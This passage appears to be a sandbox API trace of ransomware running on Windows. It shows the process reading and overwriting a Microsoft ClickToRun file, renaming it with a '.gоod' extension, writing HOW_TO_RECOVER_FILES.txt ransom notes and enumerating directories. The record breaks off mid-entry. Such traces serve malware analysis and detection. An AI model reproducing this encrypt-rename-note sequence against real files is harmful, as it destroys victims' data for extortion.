(dwNewMode=0x1, lpOldMode=0x10fa550) returned 1 [0078.077] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\x-none.16\\stream.x64.x-none.man.dat" (normalized: "c:\\programdata\\microsoft\\clicktorun\\201eb7df-c721-4b8b-9c81-a09de7f931e6\\x-none.16\\stream.x64.x-none.man.dat"), fInfoLevelId=0x0, lpFileInformation=0x32169f8 | out: lpFileInformation=0x32169f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82fc026f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x82fc026f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfe714e00, ftLastWriteTime.dwHighDateTime=0x1d0d7e7, nFileSizeHigh=0x0, nFileSizeLow=0x38480a)) returned 1 [0078.077] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa510) returned 1 [0078.077] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\x-none.16\\stream.x64.x-none.man.dat", nBufferLength=0x105, lpBuffer=0x10f9f30, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\x-none.16\\stream.x64.x-none.man.dat", lpFilePart=0x0) returned 0x6c [0078.077] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa450) returned 1 [0078.077] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\x-none.16\\stream.x64.x-none.man.dat" (normalized: "c:\\programdata\\microsoft\\clicktorun\\201eb7df-c721-4b8b-9c81-a09de7f931e6\\x-none.16\\stream.x64.x-none.man.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x790 [0078.077] GetFileType (hFile=0x790) returned 0x1 [0078.077] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa3c0) returned 1 [0078.077] GetFileType (hFile=0x790) returned 0x1 [0078.078] SetFilePointer (in: hFile=0x790, lDistanceToMove=4096, lpDistanceToMoveHigh=0x10fa5a8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x10fa5a8*=0) returned 0x1000 [0078.078] ReadFile (in: hFile=0x790, lpBuffer=0x3216ee0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x10fa578, lpOverlapped=0x0 | out: lpBuffer=0x3216ee0*, lpNumberOfBytesRead=0x10fa578*=0x1000, lpOverlapped=0x0) returned 1 [0078.309] CloseHandle (hObject=0x790) returned 1 [0078.309] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\x-none.16\\stream.x64.x-none.man.dat", nBufferLength=0x105, lpBuffer=0x10f9f30, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\x-none.16\\stream.x64.x-none.man.dat", lpFilePart=0x0) returned 0x6c [0078.309] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa450) returned 1 [0078.310] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\x-none.16\\stream.x64.x-none.man.dat" (normalized: "c:\\programdata\\microsoft\\clicktorun\\201eb7df-c721-4b8b-9c81-a09de7f931e6\\x-none.16\\stream.x64.x-none.man.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x790 [0078.310] GetFileType (hFile=0x790) returned 0x1 [0078.310] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa3c0) returned 1 [0078.310] GetFileType (hFile=0x790) returned 0x1 [0078.310] SetFilePointer (in: hFile=0x790, lDistanceToMove=0, lpDistanceToMoveHigh=0x10fa5a8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x10fa5a8*=0) returned 0x38480a [0078.310] WriteFile (in: hFile=0x790, lpBuffer=0x3290398*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x10fa498, lpOverlapped=0x0 | out: lpBuffer=0x3290398*, lpNumberOfBytesWritten=0x10fa498*=0x10, lpOverlapped=0x0) returned 1 [0078.347] CloseHandle (hObject=0x790) returned 1 [0079.005] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\x-none.16\\stream.x64.x-none.man.dat", nBufferLength=0x105, lpBuffer=0x10f9f30, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\x-none.16\\stream.x64.x-none.man.dat", lpFilePart=0x0) returned 0x6c [0079.005] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa450) returned 1 [0079.005] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\x-none.16\\stream.x64.x-none.man.dat" (normalized: "c:\\programdata\\microsoft\\clicktorun\\201eb7df-c721-4b8b-9c81-a09de7f931e6\\x-none.16\\stream.x64.x-none.man.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x790 [0079.005] GetFileType (hFile=0x790) returned 0x1 [0079.006] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa3c0) returned 1 [0079.006] GetFileType (hFile=0x790) returned 0x1 [0079.006] ReadFile (in: hFile=0x790, lpBuffer=0x32aa608, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x10fa528, lpOverlapped=0x0 | out: lpBuffer=0x32aa608*, lpNumberOfBytesRead=0x10fa528*=0x1000, lpOverlapped=0x0) returned 1 [0079.018] CloseHandle (hObject=0x790) returned 1 [0079.018] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\x-none.16\\stream.x64.x-none.man.dat", nBufferLength=0x105, lpBuffer=0x10f9f30, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\x-none.16\\stream.x64.x-none.man.dat", lpFilePart=0x0) returned 0x6c [0079.018] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa450) returned 1 [0079.018] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\x-none.16\\stream.x64.x-none.man.dat" (normalized: "c:\\programdata\\microsoft\\clicktorun\\201eb7df-c721-4b8b-9c81-a09de7f931e6\\x-none.16\\stream.x64.x-none.man.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x790 [0079.018] GetFileType (hFile=0x790) returned 0x1 [0079.018] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa3c0) returned 1 [0079.018] GetFileType (hFile=0x790) returned 0x1 [0079.018] WriteFile (in: hFile=0x790, lpBuffer=0x32a92f8*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x10fa5d8, lpOverlapped=0x0 | out: lpBuffer=0x32a92f8*, lpNumberOfBytesWritten=0x10fa5d8*=0x1010, lpOverlapped=0x0) returned 1 [0079.018] CloseHandle (hObject=0x790) returned 1 [0079.227] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\x-none.16\\stream.x64.x-none.man.dat", nBufferLength=0x105, lpBuffer=0x10fa080, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\x-none.16\\stream.x64.x-none.man.dat", lpFilePart=0x0) returned 0x6c [0079.227] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\x-none.16\\stream.x64.x-none.man.dat.gоod", nBufferLength=0x105, lpBuffer=0x10fa080, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\x-none.16\\stream.x64.x-none.man.dat.gоod", lpFilePart=0x0) returned 0x71 [0079.227] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa510) returned 1 [0079.227] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\x-none.16\\stream.x64.x-none.man.dat" (normalized: "c:\\programdata\\microsoft\\clicktorun\\201eb7df-c721-4b8b-9c81-a09de7f931e6\\x-none.16\\stream.x64.x-none.man.dat"), fInfoLevelId=0x0, lpFileInformation=0x10fa5f0 | out: lpFileInformation=0x10fa5f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82fc026f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x82fc026f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x2b70c29f, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x38481a)) returned 1 [0079.227] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa4d0) returned 1 [0079.227] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\x-none.16\\stream.x64.x-none.man.dat" (normalized: "c:\\programdata\\microsoft\\clicktorun\\201eb7df-c721-4b8b-9c81-a09de7f931e6\\x-none.16\\stream.x64.x-none.man.dat"), lpNewFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\x-none.16\\stream.x64.x-none.man.dat.gоod" (normalized: "c:\\programdata\\microsoft\\clicktorun\\201eb7df-c721-4b8b-9c81-a09de7f931e6\\x-none.16\\stream.x64.x-none.man.dat.gоod")) returned 1 [0079.228] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\x-none.16\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x10fa1f0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\x-none.16\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x6b [0079.228] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa710) returned 1 [0079.228] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\x-none.16\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\programdata\\microsoft\\clicktorun\\201eb7df-c721-4b8b-9c81-a09de7f931e6\\x-none.16\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x790 [0079.228] GetFileType (hFile=0x790) returned 0x1 [0079.228] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa680) returned 1 [0079.228] GetFileType (hFile=0x790) returned 0x1 [0079.229] WriteFile (in: hFile=0x790, lpBuffer=0x31bdc40*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x10fa7d8, lpOverlapped=0x0 | out: lpBuffer=0x31bdc40*, lpNumberOfBytesWritten=0x10fa7d8*=0x5d0, lpOverlapped=0x0) returned 1 [0079.230] CloseHandle (hObject=0x790) returned 1 [0079.230] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x10fac20, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x61 [0079.230] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fb140) returned 1 [0079.230] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\programdata\\microsoft\\clicktorun\\201eb7df-c721-4b8b-9c81-a09de7f931e6\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x790 [0079.230] GetFileType (hFile=0x790) returned 0x1 [0079.231] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fb0b0) returned 1 [0079.231] GetFileType (hFile=0x790) returned 0x1 [0079.231] WriteFile (in: hFile=0x790, lpBuffer=0x31c1518*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x10fb208, lpOverlapped=0x0 | out: lpBuffer=0x31c1518*, lpNumberOfBytesWritten=0x10fb208*=0x5d0, lpOverlapped=0x0) returned 1 [0079.232] CloseHandle (hObject=0x790) returned 1 [0079.232] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fb1d0) returned 1 [0079.232] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData", nBufferLength=0x105, lpBuffer=0x10fac70, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData", lpFilePart=0x0) returned 0x2f [0079.233] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\*", lpFindFileData=0x10faef0 | out: lpFindFileData=0x10faef0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x845f41a7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x85953409, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x85eb08ee, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec32770 [0079.233] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x845f41a7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x85953409, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x85eb08ee, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0079.233] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x85953409, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x85953409, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x85953409, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Catalog", cAlternateFileName="")) returned 1 [0079.233] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x85eb08ee, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x85eb08ee, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x85eb08ee, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Integration", cAlternateFileName="INTEGR~1")) returned 1 [0079.233] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x85eb08ee, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x85eb08ee, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x85eb08ee, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Integration", cAlternateFileName="INTEGR~1")) returned 0 [0079.233] FindClose (in: hFindFile=0x1ec32770 | out: hFindFile=0x1ec32770) returned 1 [0079.234] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fb110) returned 1 [0079.234] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fb0d0) returned 1 [0079.234] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fb1d0) returned 1 [0079.234] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData", nBufferLength=0x105, lpBuffer=0x10fac70, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData", lpFilePart=0x0) returned 0x2f [0079.234] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\*", lpFindFileData=0x10faef0 | out: lpFindFileData=0x10faef0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x845f41a7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x85953409, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x85eb08ee, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec32770 [0079.234] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x845f41a7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x85953409, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x85eb08ee, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0079.234] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x85953409, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x85953409, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x85953409, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Catalog", cAlternateFileName="")) returned 1 [0079.234] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x85eb08ee, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x85eb08ee, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x85eb08ee, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Integration", cAlternateFileName="INTEGR~1")) returned 1 [0079.234] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0079.234] FindClose (in: hFindFile=0x1ec32770 | out: hFindFile=0x1ec32770) returned 1 [0079.235] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fb110) returned 1 [0079.235] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fb0d0) returned 1 [0079.235] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa7a0) returned 1 [0079.235] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog", nBufferLength=0x105, lpBuffer=0x10fa240, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog", lpFilePart=0x0) returned 0x37 [0079.235] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog\\*", lpFindFileData=0x10fa4c0 | out: lpFindFileData=0x10fa4c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x85953409, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x85953409, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x85953409, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec32770 [0079.235] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x85953409, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x85953409, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x85953409, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0079.235] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x85953409, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x85953409, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x85953409, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Packages", cAlternateFileName="")) returned 1 [0079.236] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x85953409, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x85953409, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x85953409, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Packages", cAlternateFileName="")) returned 0 [0079.236] FindClose (in: hFindFile=0x1ec32770 | out: hFindFile=0x1ec32770) returned 1 [0079.236] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa6e0) returned 1 [0079.236] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa6a0) returned 1 [0079.236] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa7a0) returned 1 [0079.236] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog", nBufferLength=0x105, lpBuffer=0x10fa240, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog", lpFilePart=0x0) returned 0x37 [0079.236] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog\\*", lpFindFileData=0x10fa4c0 | out: lpFindFileData=0x10fa4c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x85953409, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x85953409, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x85953409, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec32b90 [0079.236] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x85953409, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x85953409, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x85953409, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0079.236] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x85953409, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x85953409, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x85953409, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Packages", cAlternateFileName="")) returned 1 [0079.236] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0079.236] FindClose (in: hFindFile=0x1ec32b90 | out: hFindFile=0x1ec32b90) returned 1 [0079.237] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa6e0) returned 1 [0079.237] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa6a0) returned 1 [0079.237] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f9d70) returned 1 [0079.237] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages", nBufferLength=0x105, lpBuffer=0x10f9810, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages", lpFilePart=0x0) returned 0x40 [0079.237] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\*", lpFindFileData=0x10f9a90 | out: lpFindFileData=0x10f9a90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x85953409, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x85953409, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x85953409, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec32770 [0079.237] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x10f9a50 | out: lpFindFileData=0x10f9a50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x85953409, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x85953409, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x85953409, 